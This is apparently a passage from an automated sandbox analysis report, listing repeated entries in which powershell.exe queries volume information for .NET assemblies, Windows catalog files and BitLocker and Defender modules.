Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-ds-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-ds-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-ds-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
